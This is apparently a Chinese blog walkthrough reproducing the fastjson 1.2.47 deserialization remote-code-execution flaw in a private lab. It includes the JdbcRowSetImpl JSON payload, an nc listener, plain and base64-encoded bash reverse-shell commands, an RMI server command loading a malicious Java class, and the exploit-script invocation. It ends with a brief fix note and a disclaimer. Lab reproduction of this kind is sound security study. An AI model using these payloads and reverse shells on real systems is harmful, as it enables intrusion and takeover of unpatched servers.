漏洞產生原因
fastjson提供了autotype功能,在請求過程中,我們可以在請求包中通過修改@type的值,來反序列化為指定的類型,而fastjson在反序列化過程中會設置和獲取類中的屬性,如果類中存在惡意方法,就會導致代碼執行漏洞產生。
查看fastjson漏洞利用工具的pyload
payload = """ { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "%s", "autoCommit": true } }
漏洞環境
漏洞主機 kali2020 ip地址:192.168.177.137
接收反彈shell主機 kali2018 ip地址:192.168.177.128
運行惡意Java類的主機和含有RMI服務主機 win10物理主機 ip地址:192.168.177.1
kali2020使用docker搭建fastjson1.2.47漏洞環境
漏洞復現
工具下載
https://github.com/zhzyker/exphub/tree/master/
kali 2018 監聽端口
nc -lvp 8888
物理機運行RMI服務,加載惡意java類
bash -i >& /dev/tcp/192.168.177.128/8888 0>&1 //轉換成可執行代碼 java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.177.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
發送反序列化代碼漏洞執行命令
python3 fastjson-1.2.47_rce.py http://192.168.177.137:8090 rmi://192.168.177.1:9999/Object
無法反彈shell
查看端口監聽情況,反彈shell,都不成功的,在肉雞上直接執行命令,kali2018直接獲取shell:
sudo bash -i >& /dev/tcp/192.168.177.128/8888 0>&1
查看代碼發現加載惡意java類時base64編碼時源地址寫錯了,導致代碼執行不出去!!!
修改完以后還是不行,進行web訪問fastjson地址發現訪問不了(kali顯示已啟動),進行fastjson環境重啟,再次訪問web沒有問題
再次執行上面命令,成功反彈shell
復測完成記得關閉漏洞環境
sudo docker-compose down
漏洞修復
升級最新版本,具體參見漏洞修復
參考鏈接
https://www.cnblogs.com/renhaoblog/p/13033723.html
https://www.freebuf.com/vuls/178012.html
免責聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !